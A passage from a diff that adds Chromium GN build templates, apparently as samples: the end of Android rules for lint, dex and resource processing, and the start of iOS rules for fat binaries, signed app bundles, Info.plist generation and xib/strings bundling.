+    }
+
+    _has_lint_target = false
+    if (_supports_android) {
+      if (_chromium_code) {
+        _has_lint_target = true
+        android_lint("${_template_name}__lint") {
+          android_manifest = _android_manifest
+          build_config = _build_config
+          jar_path = _jar_path
+          java_files = _java_files
+          if (_java_files != []) {
+            java_sources_file = _java_sources_file
+          }
+          deps = _accumulated_deps
+        }
+
+        if (_run_findbugs) {
+          findbugs("${_template_name}__findbugs") {
+            build_config = _build_config
+            jar_path = _jar_path
+            deps = _accumulated_deps
+          }
+        }
+
+        # Use an intermediate group() rather as the data_deps target in order to
+        # avoid lint artifacts showing up as runtime_deps (while still having lint
+        # run in parallel to other targets).
+        group("${_template_name}__analysis") {
+          public_deps = [
+            ":${_template_name}__lint",
+          ]
+          if (_run_findbugs) {
+            public_deps += [ ":${_template_name}__findbugs" ]
+          }
+        }
+      }
+
+      _final_deps += [ ":${_template_name}__dex" ]
+      dex("${_template_name}__dex") {
+        sources = [
+          _jar_path,
+        ]
+        output = _dex_path
+        deps = [
+          ":$_compile_java_target",
+        ]
+      }
+    }
+
+    group(target_name) {
+      forward_variables_from(invoker,
+                             [
+                               "data",
+                               "data_deps",
+                               "visibility",
+                             ])
+      if (!defined(data_deps)) {
+        data_deps = []
+      }
+      public_deps = _final_deps
+      if (_has_lint_target) {
+        data_deps += [ ":${_template_name}__analysis" ]
+      }
+    }
+  }
+
+  # Runs process_resources.py
+  template("process_resources") {
+    set_sources_assignment_filter([])
+    forward_variables_from(invoker, [ "testonly" ])
+
+    zip_path = invoker.zip_path
+    srcjar_path = invoker.srcjar_path
+    r_text_path = invoker.r_text_path
+    build_config = invoker.build_config
+    android_manifest = invoker.android_manifest
+
+    non_constant_id = true
+    if (defined(invoker.generate_constant_ids) &&
+        invoker.generate_constant_ids) {
+      non_constant_id = false
+    }
+
+    action(target_name) {
+      forward_variables_from(invoker,
+                             [
+                               "deps",
+                               "visibility",
+                             ])
+      script = "//build/android/gyp/process_resources.py"
+
+      depfile = "$target_gen_dir/$target_name.d"
+      outputs = [
+        zip_path,
+        srcjar_path,
+        r_text_path,
+      ]
+
+      _all_resource_dirs = []
+      sources = []
+
+      if (defined(invoker.resource_dirs)) {
+        _all_resource_dirs += invoker.resource_dirs
+
+        # Speed up "gn gen" by short-circuiting the empty directory.
+        if (invoker.resource_dirs != [ "//build/android/ant/empty/res" ] &&
+            invoker.resource_dirs != []) {
+          _sources_build_rel =
+              exec_script("//build/android/gyp/find.py",
+                          rebase_path(invoker.resource_dirs, root_build_dir),
+                          "list lines")
+          sources += rebase_path(_sources_build_rel, ".", root_build_dir)
+        }
+      }
+
+      if (defined(invoker.generated_resource_dirs)) {
+        assert(defined(invoker.generated_resource_files))
+        _all_resource_dirs += invoker.generated_resource_dirs
+        sources += invoker.generated_resource_files
+      }
+
+      inputs = [
+        build_config,
+        android_manifest,
+      ]
+
+      _rebased_all_resource_dirs =
+          rebase_path(_all_resource_dirs, root_build_dir)
+      rebase_build_config = rebase_path(build_config, root_build_dir)
+
+      if (defined(invoker.android_aapt_path)) {
+        _android_aapt_path = invoker.android_aapt_path
+      } else {
+        _android_aapt_path = android_default_aapt_path
+      }
+
+      if (defined(invoker.alternative_android_sdk_jar)) {
+        _rebased_android_sdk_jar =
+            rebase_path(invoker.alternative_android_sdk_jar)
+      } else {
+        _rebased_android_sdk_jar = rebased_android_sdk_jar
+      }
+
+      args = [
+        "--depfile",
+        rebase_path(depfile, root_build_dir),
+        "--android-sdk-jar",
+        _rebased_android_sdk_jar,
+        "--aapt-path",
+        _android_aapt_path,
+        "--android-manifest",
+        rebase_path(android_manifest, root_build_dir),
+        "--resource-dirs=$_rebased_all_resource_dirs",
+        "--srcjar-out",
+        rebase_path(srcjar_path, root_build_dir),
+        "--resource-zip-out",
+        rebase_path(zip_path, root_build_dir),
+        "--r-text-out",
+        rebase_path(r_text_path, root_build_dir),
+        "--dependencies-res-zips=@FileArg($rebase_build_config:resources:dependency_zips)",
+        "--extra-res-packages=@FileArg($rebase_build_config:resources:extra_package_names)",
+        "--extra-r-text-files=@FileArg($rebase_build_config:resources:extra_r_text_files)",
+      ]
+
+      if (non_constant_id) {
+        args += [ "--non-constant-id" ]
+      }
+
+      if (defined(invoker.custom_package)) {
+        args += [
+          "--custom-package",
+          invoker.custom_package,
+        ]
+      }
+
+      if (defined(invoker.v14_skip) && invoker.v14_skip) {
+        args += [ "--v14-skip" ]
+      }
+
+      if (defined(invoker.shared_resources) && invoker.shared_resources) {
+        args += [ "--shared-resources" ]
+      }
+
+      if (defined(invoker.app_as_shared_lib) && invoker.app_as_shared_lib) {
+        args += [ "--app-as-shared-lib" ]
+      }
+
+      if (defined(invoker.include_all_resources) &&
+          invoker.include_all_resources) {
+        args += [ "--include-all-resources" ]
+      }
+
+      if (defined(invoker.all_resources_zip_path)) {
+        all_resources_zip = invoker.all_resources_zip_path
+        outputs += [ all_resources_zip ]
+        args += [
+          "--all-resources-zip-out",
+          rebase_path(all_resources_zip, root_build_dir),
+        ]
+      }
+
+      if (defined(invoker.proguard_file)) {
+        outputs += [ invoker.proguard_file ]
+        args += [
+          "--proguard-file",
+          rebase_path(invoker.proguard_file, root_build_dir),
+        ]
+      }
+
+      if (defined(invoker.args)) {
+        args += invoker.args
+      }
+    }
+  }
+
+  # Produces a single .dex.jar out of a set of Java dependencies.
+  template("deps_dex") {
+    set_sources_assignment_filter([])
+    build_config = "$target_gen_dir/${target_name}.build_config"
+    build_config_target_name = "${target_name}__build_config"
+
+    write_build_config(build_config_target_name) {
+      forward_variables_from(invoker, [ "dex_path" ])
+      if (defined(invoker.deps)) {
+        possible_config_deps = invoker.deps
+      }
+      type = "deps_dex"
+      build_config = build_config
+    }
+
+    rebased_build_config = rebase_path(build_config, root_build_dir)
+    dex(target_name) {
+      inputs = [
+        build_config,
+      ]
+      output = invoker.dex_path
+      dex_arg_key = "${rebased_build_config}:final_dex:dependency_dex_files"
+      args = [ "--inputs=@FileArg($dex_arg_key)" ]
+      if (defined(invoker.excluded_jars)) {
+        excluded_jars = rebase_path(invoker.excluded_jars, root_build_dir)
+        args += [ "--excluded-paths=${excluded_jars}" ]
+      }
+      deps = [
+        ":$build_config_target_name",
+      ]
+    }
+  }
+
+  # Creates an AndroidManifest.xml for an APK split.
+  template("generate_split_manifest") {
+    assert(defined(invoker.main_manifest))
+    assert(defined(invoker.out_manifest))
+    assert(defined(invoker.split_name))
+
+    action(target_name) {
+      forward_variables_from(invoker,
+                             [
+                               "deps",
+                               "testonly",
+                             ])
+      depfile = "$target_gen_dir/$target_name.d"
+      args = [
+        "--main-manifest",
+        rebase_path(invoker.main_manifest, root_build_dir),
+        "--out-manifest",
+        rebase_path(invoker.out_manifest, root_build_dir),
+        "--split",
+        invoker.split_name,
+      ]
+      if (defined(invoker.version_code)) {
+        args += [
+          "--version-code",
+          invoker.version_code,
+        ]
+      }
+      if (defined(invoker.version_name)) {
+        args += [
+          "--version-name",
+          invoker.version_name,
+        ]
+      }
+      if (defined(invoker.has_code)) {
+        args += [
+          "--has-code",
+          invoker.has_code,
+        ]
+      }
+      args += [
+        "--depfile",
+        rebase_path(depfile, root_build_dir),
+      ]
+
+      script = "//build/android/gyp/generate_split_manifest.py"
+      outputs = [
+        invoker.out_manifest,
+      ]
+      inputs = [
+        invoker.main_manifest,
+      ]
+    }
+  }
+
+  template("pack_relocation_section") {
+    assert(defined(invoker.file_list_json))
+    assert(defined(invoker.libraries_filearg))
+    action(target_name) {
+      forward_variables_from(invoker,
+                             [
+                               "deps",
+                               "public_deps",
+                               "inputs",
+                               "testonly",
+                             ])
+      script = "//build/android/gyp/pack_relocations.py"
+      depfile = "$target_gen_dir/$target_name.d"
+      _packed_libraries_dir = "$target_gen_dir/$target_name/packed-libs"
+      outputs = [
+        invoker.file_list_json,
+      ]
+      deps += [ relocation_packer_target ]
+
+      args = [
+        "--depfile",
+        rebase_path(depfile, root_build_dir),
+        "--enable-packing=1",
+        "--android-pack-relocations",
+        rebase_path(relocation_packer_exe, root_build_dir),
+        "--stripped-libraries-dir",
+        rebase_path(root_build_dir, root_build_dir),
+        "--packed-libraries-dir",
+        rebase_path(_packed_libraries_dir, root_build_dir),
+        "--libraries=${invoker.libraries_filearg}",
+        "--filelistjson",
+        rebase_path(invoker.file_list_json, root_build_dir),
+      ]
+    }
+  }
+}
diff --git a/samples/GN/ios-rules.gni b/samples/GN/ios-rules.gni
new file mode 100644
index 0000000000..d641363382
--- /dev/null
+++ b/samples/GN/ios-rules.gni
@@ -0,0 +1,1422 @@
+# Copyright 2015 The Chromium Authors. All rights reserved.
+# Use of this source code is governed by a BSD-style license that can be
+# found in the LICENSE file.
+
+import("//build/config/ios/ios_sdk.gni")
+import("//build/config/mac/base_rules.gni")
+import("//build/config/mac/symbols.gni")
+import("//build/toolchain/toolchain.gni")
+
+# Invokes lipo on multiple arch-specific binaries to create a fat binary.
+#
+# Arguments
+#
+#   arch_binary_target
+#     name of the target generating the arch-specific binaries, they must
+#     be named $target_out_dir/$toolchain_cpu/$arch_binary_output.
+#
+#   arch_binary_output
+#     (optional, defaults to the name of $arch_binary_target) base name of
+#     the arch-specific binary generated by arch_binary_target.
+#
+#   output_name
+#     (optional, defaults to $target_name) base name of the target output,
+#     the full path will be $target_out_dir/$output_name.
+#
+#   configs
+#     (optional) a list of configurations, this is used to check whether
+#     the binary should be stripped, when "enable_stripping" is true.
+#
+template("lipo_binary") {
+  assert(defined(invoker.arch_binary_target),
+         "arch_binary_target must be defined for $target_name")
+
+  _target_name = target_name
+  _output_name = target_name
+  if (defined(invoker.output_name)) {
+    _output_name = invoker.output_name
+  }
+
+  _all_target_cpu = [ current_cpu ] + additional_target_cpus
+  _all_toolchains = [ current_toolchain ] + additional_toolchains
+
+  _arch_binary_target = invoker.arch_binary_target
+  _arch_binary_output = get_label_info(_arch_binary_target, "name")
+  if (defined(invoker.arch_binary_output)) {
+    _arch_binary_output = invoker.arch_binary_output
+  }
+
+  action(_target_name) {
+    forward_variables_from(invoker,
+                           "*",
+                           [
+                             "arch_binary_output",
+                             "arch_binary_target",
+                             "configs",
+                             "output_name",
+                           ])
+
+    script = "//build/toolchain/mac/linker_driver.py"
+
+    outputs = [
+      "$target_out_dir/$_output_name",
+    ]
+
+    deps = []
+    _index = 0
+    inputs = []
+    foreach(_cpu, _all_target_cpu) {
+      _toolchain = _all_toolchains[_index]
+      _index = _index + 1
+
+      inputs +=
+          [ get_label_info("$_arch_binary_target($_toolchain)",
+                           "target_out_dir") + "/$_cpu/$_arch_binary_output" ]
+
+      deps += [ "$_arch_binary_target($_toolchain)" ]
+    }
+
+    args = []
+    if (!use_system_xcode) {
+      args += [
+        "--developer_dir",
+        hermetic_xcode_path,
+      ]
+    }
+    args += [
+              "xcrun",
+              "lipo",
+              "-create",
+              "-output",
+              rebase_path("$target_out_dir/$_output_name", root_build_dir),
+            ] + rebase_path(inputs, root_build_dir)
+
+    if (enable_dsyms) {
+      _dsyms_output_dir = "$root_out_dir/$_output_name.dSYM"
+      outputs += [
+        "$_dsyms_output_dir/",
+        "$_dsyms_output_dir/Contents/Info.plist",
+        "$_dsyms_output_dir/Contents/Resources/DWARF/$_output_name",
+      ]
+      args += [ "-Wcrl,dsym," + rebase_path("$root_out_dir/.", root_build_dir) ]
+    }
+
+    if (enable_stripping) {
+      # Check whether //build/config/mac:strip_all has been removed from the
+      # configs variables (as this is how stripping is disabled for a single
+      # target).
+      _strip_all_in_config = false
+      if (defined(invoker.configs)) {
+        foreach(_config, invoker.configs) {
+          if (_config == "//build/config/mac:strip_all") {
+            _strip_all_in_config = true
+          }
+        }
+      }
+
+      if (_strip_all_in_config) {
+        args += [ "-Wcrl,strip,-x,-S" ]
+        if (save_unstripped_output) {
+          outputs += [ "$root_out_dir/$_output_name.unstripped" ]
+          args += [ "-Wcrl,unstripped," +
+                    rebase_path("$root_out_dir/.", root_build_dir) ]
+        }
+      }
+    }
+  }
+}
+
+# Wrapper around create_bundle taking care of code signature settings.
+#
+# Arguments
+#
+#   product_type
+#       string, product type for the generated Xcode project.
+#
+#   bundle_deps
+#       (optional) list of additional dependencies
+#
+#   bundle_deps_filter
+#       (optional) list of dependencies to filter (for more information
+#       see "gn help bundle_deps_filter")
+#
+#   bundle_extension
+#       string, extension of the bundle, used to generate bundle name.
+#
+#   bundle_binary_target
+#       string, label of the target generating the bundle main binary.
+#
+#   bundle_binary_output
+#       (optional) string, base name of the binary generated by the
+#       bundle_binary_target target, defaults to the target name.
+#
+#   extra_system_frameworks
+#       (optional) list of system framework to copy to the bundle.
+#
+#   enable_code_signing
+#       (optional) boolean, control whether code signing is enabled or not,
+#       default to ios_enable_code_signing if not defined.
+#
+#   entitlements_path:
+#       (optional) path to the template to use to generate the application
+#       entitlements by performing variable substitutions, defaults to
+#       //build/config/ios/entitlements.plist.
+#
+#   entitlements_target:
+#       (optional) label of the target generating the application
+#       entitlements (must generate a single file as output); cannot be
+#       defined if entitlements_path is set.
+#
+template("create_signed_bundle") {
+  assert(defined(invoker.product_type),
+         "product_type must be defined for $target_name")
+  assert(defined(invoker.bundle_extension),
+         "bundle_extension must be defined for $target_name")
+  assert(defined(invoker.bundle_binary_target),
+         "bundle_binary_target must be defined for $target_name")
+
+  _target_name = target_name
+  _output_name = target_name
+  if (defined(invoker.output_name)) {
+    _output_name = invoker.output_name
+  }
+
+  _bundle_binary_target = invoker.bundle_binary_target
+  _bundle_binary_output = get_label_info(_bundle_binary_target, "name")
+  if (defined(invoker.bundle_binary_output)) {
+    _bundle_binary_output = invoker.bundle_binary_output
+  }
+
+  _bundle_extension = invoker.bundle_extension
+  _bundle_root_dir = "$root_out_dir/$_output_name$_bundle_extension"
+
+  if (!defined(invoker.entitlements_target)) {
+    _entitlements_path = "//build/config/ios/entitlements.plist"
+    if (defined(invoker.entitlements_path)) {
+      _entitlements_path = invoker.entitlements_path
+    }
+  } else {
+    assert(!defined(invoker.entitlements_path),
+           "Cannot define both entitlements_path and entitlements_target " +
+               "for $target_name")
+
+    _entitlements_target_outputs =
+        get_target_outputs(invoker.entitlements_target)
+    _entitlements_path = _entitlements_target_outputs[0]
+  }
+
+  _enable_code_signing = ios_enable_code_signing
+  if (defined(invoker.enable_code_signing)) {
+    _enable_code_signing = invoker.enable_code_signing
+  }
+
+  create_bundle(_target_name) {
+    forward_variables_from(invoker,
+                           [
+                             "bundle_deps_filter",
+                             "data_deps",
+                             "deps",
+                             "product_type",
+                             "public_configs",
+                             "public_deps",
+                             "testonly",
+                             "visibility",
+                           ])
+
+    bundle_root_dir = _bundle_root_dir
+    bundle_resources_dir = _bundle_root_dir
+    bundle_executable_dir = _bundle_root_dir
+    bundle_plugins_dir = "$_bundle_root_dir/PlugIns"
+
+    if (!defined(public_deps)) {
+      public_deps = []
+    }
+    public_deps += [ _bundle_binary_target ]
+
+    if (defined(invoker.bundle_deps)) {
+      if (!defined(deps)) {
+        deps = []
+      }
+      deps += invoker.bundle_deps
+    }
+    if (defined(invoker.entitlements_target)) {
+      if (!defined(deps)) {
+        deps = []
+      }
+      deps += [ invoker.entitlements_target ]
+    }
+
+    code_signing_script = "//build/config/ios/codesign.py"
+    code_signing_sources = [
+      _entitlements_path,
+      get_label_info(_bundle_binary_target, "target_out_dir") +
+          "/$_bundle_binary_output",
+    ]
+    code_signing_outputs = [ "$_bundle_root_dir/$_output_name" ]
+    if (_enable_code_signing) {
+      code_signing_outputs +=
+          [ "$_bundle_root_dir/_CodeSignature/CodeResources" ]
+    }
+    if (ios_code_signing_identity != "" && !use_ios_simulator) {
+      code_signing_outputs += [ "$_bundle_root_dir/embedded.mobileprovision" ]
+    }
+
+    if (defined(invoker.extra_system_frameworks)) {
+      foreach(_framework, invoker.extra_system_frameworks) {
+        code_signing_outputs += [ "$bundle_root_dir/Frameworks/" +
+                                  get_path_info(_framework, "file") ]
+      }
+    }
+
+    code_signing_args = []
+    if (!use_system_xcode) {
+      code_signing_args += [
+        "--developer_dir",
+        hermetic_xcode_path,
+      ]
+    }
+    code_signing_args += [
+      "code-sign-bundle",
+      "-t=" + ios_sdk_name,
+      "-i=" + ios_code_signing_identity,
+      "-e=" + rebase_path(_entitlements_path, root_build_dir),
+      "-b=" + rebase_path("$target_out_dir/$_output_name", root_build_dir),
+      rebase_path(bundle_root_dir, root_build_dir),
+    ]
+    if (!_enable_code_signing) {
+      code_signing_args += [ "--disable-code-signature" ]
+    }
+    if (defined(invoker.extra_system_frameworks)) {
+      # All framework in extra_system_frameworks are expected to be
+      # system framework and the path to be already system absolute
+      # so do not use rebase_path here.
+      foreach(_framework, invoker.extra_system_frameworks) {
+        code_signing_args += [ "-F=" + _framework ]
+      }
+    }
+  }
+}
+
+# Generates Info.plist files for Mac apps and frameworks.
+#
+# Arguments
+#
+#     info_plist:
+#         (optional) string, path to the Info.plist file that will be used for
+#         the bundle.
+#
+#     info_plist_target:
+#         (optional) string, if the info_plist is generated from an action,
+#         rather than a regular source file, specify the target name in lieu
+#         of info_plist. The two arguments are mutually exclusive.
+#
+#     executable_name:
+#         string, name of the generated target used for the product
+#         and executable name as specified in the output Info.plist.
+#
+#     extra_substitutions:
+#         (optional) string array, 'key=value' pairs for extra fields which are
+#         specified in a source Info.plist template.
+template("ios_info_plist") {
+  assert(defined(invoker.info_plist) != defined(invoker.info_plist_target),
+         "Only one of info_plist or info_plist_target may be specified in " +
+             target_name)
+
+  if (defined(invoker.info_plist)) {
+    _info_plist = invoker.info_plist
+  } else {
+    _info_plist_target_output = get_target_outputs(invoker.info_plist_target)
+    _info_plist = _info_plist_target_output[0]
+  }
+
+  info_plist(target_name) {
+    format = "binary1"
+    extra_substitutions = []
+    if (defined(invoker.extra_substitutions)) {
+      extra_substitutions = invoker.extra_substitutions
+    }
+    extra_substitutions += [
+      "IOS_BUNDLE_ID_PREFIX=$ios_app_bundle_id_prefix",
+      "IOS_DEPLOYMENT_TARGET=$ios_deployment_target",
+      "IOS_PLATFORM_BUILD=$ios_platform_build",
+      "IOS_PLATFORM_NAME=$ios_sdk_name",
+      "IOS_PLATFORM_VERSION=$ios_sdk_version",
+      "IOS_SDK_BUILD=$ios_sdk_build",
+      "IOS_SDK_NAME=$ios_sdk_name$ios_sdk_version",
+      "IOS_SUPPORTED_PLATFORM=$ios_sdk_platform",
+    ]
+    plist_templates = [
+      "//build/config/ios/BuildInfo.plist",
+      _info_plist,
+    ]
+    if (defined(invoker.info_plist_target)) {
+      deps = [
+        invoker.info_plist_target,
+      ]
+    }
+    forward_variables_from(invoker,
+                           [
+                             "executable_name",
+                             "output_name",
+                             "visibility",
+                           ])
+  }
+}
+
+# Template to build an application bundle for iOS.
+#
+# This should be used instead of "executable" built-in target type on iOS.
+# As the template forward the generation of the application executable to
+# an "executable" target, all arguments supported by "executable" targets
+# are also supported by this template.
+#
+# Arguments
+#
+#   output_name:
+#       (optional) string, name of the generated application, if omitted,
+#       defaults to the target_name.
+#
+#   extra_substitutions:
+#       (optional) list of string in "key=value" format, each value will
+#       be used as an additional variable substitution rule when generating
+#       the application Info.plist
+#
+#   info_plist:
+#       (optional) string, path to the Info.plist file that will be used for
+#       the bundle.
+#
+#   info_plist_target:
+#       (optional) string, if the info_plist is generated from an action,
+#       rather than a regular source file, specify the target name in lieu
+#       of info_plist. The two arguments are mutually exclusive.
+#
+#   entitlements_path:
+#       (optional) path to the template to use to generate the application
+#       entitlements by performing variable substitutions, defaults to
+#       //build/config/ios/entitlements.plist.
+#
+#   entitlements_target:
+#       (optional) label of the target generating the application
+#       entitlements (must generate a single file as output); cannot be
+#       defined if entitlements_path is set.
+#
+#   bundle_extension:
+#       (optional) bundle extension including the dot, default to ".app".
+#
+#   product_type
+#       (optional) string, product type for the generated Xcode project,
+#       default to "com.apple.product-type.application". Should generally
+#       not be overridden.
+#
+#   enable_code_signing
+#       (optional) boolean, control whether code signing is enabled or not,
+#       default to ios_enable_code_signing if not defined.
+#
+# For more information, see "gn help executable".
+template("ios_app_bundle") {
+  _output_name = target_name
+  _target_name = target_name
+  if (defined(invoker.output_name)) {
+    _output_name = invoker.output_name
+  }
+
+  _arch_executable_source = _target_name + "_arch_executable_sources"
+  _arch_executable_target = _target_name + "_arch_executable"
+  _lipo_executable_target = _target_name + "_executable"
+
+  source_set(_arch_executable_source) {
+    forward_variables_from(invoker,
+                           "*",
+                           [
+                             "bundle_deps",
+                             "bundle_deps_filter",
+                             "bundle_extension",
+                             "enable_code_signing",
+                             "entitlements_path",
+                             "entitlements_target",
+                             "extra_substitutions",
+                             "extra_system_frameworks",
+                             "info_plist",
+                             "info_plist_target",
+                             "output_name",
+                             "product_type",
+                             "visibility",
+                           ])
+
+    visibility = [ ":$_arch_executable_target" ]
+  }
+
+  if (current_toolchain == default_toolchain || use_ios_simulator) {
+    _generate_entitlements_target = _target_name + "_gen_entitlements"
+    _generate_entitlements_output =
+        get_label_info(":$_generate_entitlements_target($default_toolchain)",
+                       "target_out_dir") + "/$_output_name.xcent"
+  }
+
+  executable(_arch_executable_target) {
+    forward_variables_from(invoker,
+                           "*",
+                           [
+                             "bundle_deps",
+                             "bundle_deps_filter",
+                             "bundle_extension",
+                             "enable_code_signing",
+                             "entitlements_path",
+                             "entitlements_target",
+                             "extra_substitutions",
+                             "extra_system_frameworks",
+                             "info_plist",
+                             "info_plist_target",
+                             "output_name",
+                             "product_type",
+                             "sources",
+                             "visibility",
+                           ])
+
+    visibility = [ ":$_lipo_executable_target($default_toolchain)" ]
+    if (current_toolchain != default_toolchain) {
+      visibility += [ ":$_target_name" ]
+    }
+
+    if (!defined(deps)) {
+      deps = []
+    }
+    deps += [ ":$_arch_executable_source" ]
+
+    if (!defined(libs)) {
+      libs = []
+    }
+    libs += [ "UIKit.framework" ]
+
+    if (!defined(ldflags)) {
+      ldflags = []
+    }
+    ldflags += [
+      "-Xlinker",
+      "-rpath",
+      "-Xlinker",
+      "@executable_path/Frameworks",
+      "-Xlinker",
+      "-objc_abi_version",
+      "-Xlinker",
+      "2",
+    ]
+
+    if (use_ios_simulator) {
+      deps += [ ":$_generate_entitlements_target($default_toolchain)" ]
+
+      if (!defined(inputs)) {
+        inputs = []
+      }
+      inputs += [ _generate_entitlements_output ]
+
+      if (!defined(ldflags)) {
+        ldflags = []
+      }
+      ldflags += [
+        "-Xlinker",
+        "-sectcreate",
+        "-Xlinker",
+        "__TEXT",
+        "-Xlinker",
+        "__entitlements",
+        "-Xlinker",
+        rebase_path(_generate_entitlements_output, root_build_dir),
+      ]
+    }
+
+    output_name = _output_name
+    output_prefix_override = true
+    output_dir = "$target_out_dir/$current_cpu"
+  }
+
+  if (current_toolchain != default_toolchain) {
+    # For fat builds, only the default toolchain will generate an application
+    # bundle. For the other toolchains, the template is only used for building
+    # the arch-specific binary, thus the default target is just a group().
+
+    group(_target_name) {
+      forward_variables_from(invoker,
+                             [
+                               "visibility",
+                               "testonly",
+                             ])
+      public_deps = [
+        ":$_arch_executable_target",
+      ]
+    }
+  } else {
+    lipo_binary(_lipo_executable_target) {
+      forward_variables_from(invoker,
+                             [
+                               "configs",
+                               "testonly",
+                             ])
+
+      visibility = [ ":$_target_name" ]
+      output_name = _output_name
+      arch_binary_target = ":$_arch_executable_target"
+      arch_binary_output = _output_name
+    }
+
+    _generate_info_plist = target_name + "_generate_info_plist"
+    ios_info_plist(_generate_info_plist) {
+      forward_variables_from(invoker,
+                             [
+                               "extra_substitutions",
+                               "info_plist",
+                               "info_plist_target",
+                             ])
+
+      executable_name = _output_name
+    }
+
+    if (current_toolchain == default_toolchain) {
+      if (!defined(invoker.entitlements_target)) {
+        _entitlements_path = "//build/config/ios/entitlements.plist"
+        if (defined(invoker.entitlements_path)) {
+          _entitlements_path = invoker.entitlements_path
+        }
+      } else {
+        assert(!defined(invoker.entitlements_path),
+               "Cannot define both entitlements_path and entitlements_target" +
+                   "for $_target_name")
+
+        _entitlements_target_outputs =
+            get_target_outputs(invoker.entitlements_target)
+        _entitlements_path = _entitlements_target_outputs[0]
+      }
+
+      action(_generate_entitlements_target) {
+        _gen_info_plist_outputs = get_target_outputs(":$_generate_info_plist")
+        _info_plist_path = _gen_info_plist_outputs[0]
+
+        script = "//build/config/ios/codesign.py"
+        deps = [
+          ":$_generate_info_plist",
+        ]
+        if (defined(invoker.entitlements_target)) {
+          deps += [ invoker.entitlements_target ]
+        }
+        sources = [
+          _entitlements_path,
+          _info_plist_path,
+        ]
+        outputs = [
+          _generate_entitlements_output,
+        ]
+
+        args = []
+        if (!use_system_xcode) {
+          args += [
+            "--developer_dir",
+            hermetic_xcode_path,
+          ]
+        }
+        args += [
+                  "generate-entitlements",
+                  "-e=" + rebase_path(_entitlements_path, root_build_dir),
+                  "-p=" + rebase_path(_info_plist_path, root_build_dir),
+                ] + rebase_path(outputs, root_build_dir)
+      }
+    }
+
+    _bundle_data_info_plist = target_name + "_bundle_data_info_plist"
+    bundle_data(_bundle_data_info_plist) {
+      forward_variables_from(invoker, [ "testonly" ])
+
+      sources = get_target_outputs(":$_generate_info_plist")
+      outputs = [
+        "{{bundle_root_dir}}/Info.plist",
+      ]
+      public_deps = [
+        ":$_generate_info_plist",
+      ]
+    }
+
+    create_signed_bundle(_target_name) {
+      forward_variables_from(invoker,
+                             [
+                               "bundle_deps",
+                               "bundle_deps_filter",
+                               "bundle_extension",
+                               "data_deps",
+                               "deps",
+                               "enable_code_signing",
+                               "entitlements_path",
+                               "entitlements_target",
+                               "extra_system_frameworks",
+                               "product_type",
+                               "public_configs",
+                               "public_deps",
+                               "testonly",
+                               "visibility",
+                             ])
+
+      output_name = _output_name
+      bundle_binary_target = ":$_lipo_executable_target"
+      bundle_binary_output = _output_name
+
+      if (!defined(bundle_deps)) {
+        bundle_deps = []
+      }
+      bundle_deps += [ ":$_bundle_data_info_plist" ]
+
+      if (use_ios_simulator) {
+        if (!defined(data_deps)) {
+          data_deps = []
+        }
+        data_deps += [ "//testing/iossim" ]
+      }
+
+      if (!defined(product_type)) {
+        product_type = "com.apple.product-type.application"
+      }
+
+      if (!defined(bundle_extension)) {
+        bundle_extension = ".app"
+      }
+    }
+  }
+}
+
+set_defaults("ios_app_bundle") {
+  configs = default_executable_configs
+}
+
+# Template to build an application extension bundle for iOS.
+#
+# This should be used instead of "executable" built-in target type on iOS.
+# As the template forward the generation of the application executable to
+# an "executable" target, all arguments supported by "executable" targets
+# are also supported by this template.
+#
+# Arguments
+#
+#   output_name:
+#       (optional) string, name of the generated application, if omitted,
+#       defaults to the target_name.
+#
+#   extra_substitutions:
+#       (optional) list of string in "key=value" format, each value will
+#       be used as an additional variable substitution rule when generating
+#       the application Info.plist
+#
+#   info_plist:
+#       (optional) string, path to the Info.plist file that will be used for
+#       the bundle.
+#
+#   info_plist_target:
+#       (optional) string, if the info_plist is generated from an action,
+#       rather than a regular source file, specify the target name in lieu
+#       of info_plist. The two arguments are mutually exclusive.
+#
+# For more information, see "gn help executable".
+template("ios_appex_bundle") {
+  ios_app_bundle(target_name) {
+    forward_variables_from(invoker,
+                           "*",
+                           [
+                             "bundle_extension",
+                             "product_type",
+                           ])
+    bundle_extension = ".appex"
+    product_type = "com.apple.product-type.app-extension"
+
+    # Add linker flags required for an application extension (determined by
+    # inspecting the link command-line when using Xcode 9.0+).
+    if (!defined(ldflags)) {
+      ldflags = []
+    }
+    ldflags += [
+      "-e",
+      "_NSExtensionMain",
+      "-fapplication-extension",
+    ]
+  }
+}
+
+set_defaults("ios_appex_bundle") {
+  configs = default_executable_configs
+}
+
+# Compile a xib or storyboard file and add it to a bundle_data so that it is
+# available at runtime in the bundle.
+#
+# Arguments
+#
+#   source:
+#       string, path of the xib or storyboard to compile.
+#
+# Forwards all variables to the bundle_data target.
+template("bundle_data_xib") {
+  assert(defined(invoker.source), "source needs to be defined for $target_name")
+
+  _source_extension = get_path_info(invoker.source, "extension")
+  assert(_source_extension == "xib" || _source_extension == "storyboard",
+         "source must be a .xib or .storyboard for $target_name")
+
+  _target_name = target_name
+  _compile_xib = target_name + "_compile_xib"
+
+  compile_xibs(_compile_xib) {
+    sources = [
+      invoker.source,
+    ]
+    visibility = [ ":$_target_name" ]
+    ibtool_flags = [
+      "--minimum-deployment-target",
+      ios_deployment_target,
+      "--auto-activate-custom-fonts",
+      "--target-device",
+      "iphone",
+      "--target-device",
+      "ipad",
+    ]
+  }
+
+  bundle_data(_target_name) {
+    forward_variables_from(invoker, "*", [ "source" ])
+
+    if (!defined(public_deps)) {
+      public_deps = []
+    }
+    public_deps += [ ":$_compile_xib" ]
+
+    sources = get_target_outputs(":$_compile_xib")
+
+    outputs = [
+      "{{bundle_resources_dir}}/{{source_file_part}}",
+    ]
+  }
+}
+
+# Compile a strings file and add it to a bundle_data so that it is available
+# at runtime in the bundle.
+#
+# Arguments
+#
+#   source:
+#       string, path of the strings file to compile.
+#
+#   output:
+#       string, path of the compiled file in the final bundle.
+#
+# Forwards all variables to the bundle_data target.
+template("bundle_data_strings") {
+  assert(defined(invoker.source), "source needs to be defined for $target_name")
+  assert(defined(invoker.output), "output needs to be defined for $target_name")
+
+  _source_extension = get_path_info(invoker.source, "extension")
+  assert(_source_extension == "strings",
+         "source must be a .strings for $target_name")
+
+  _target_name = target_name
+  _convert_target = target_name + "_compile_strings"
+
+  convert_plist(_convert_target) {
+    visibility = [ ":$_target_name" ]
+    source = invoker.source
+    output =
+        "$target_gen_dir/$_target_name/" + get_path_info(invoker.source, "file")
+    format = "binary1"
+  }
+
+  bundle_data(_target_name) {
+    forward_variables_from(invoker,
+                           "*",
+                           [
+                             "source",
+                             "output",
+                           ])
+
+    if (!defined(public_deps)) {
+      public_deps = []
+    }
+    public_deps += [ ":$_convert_target" ]
+
+    sources = get_target_outputs(":$_convert_target")
+
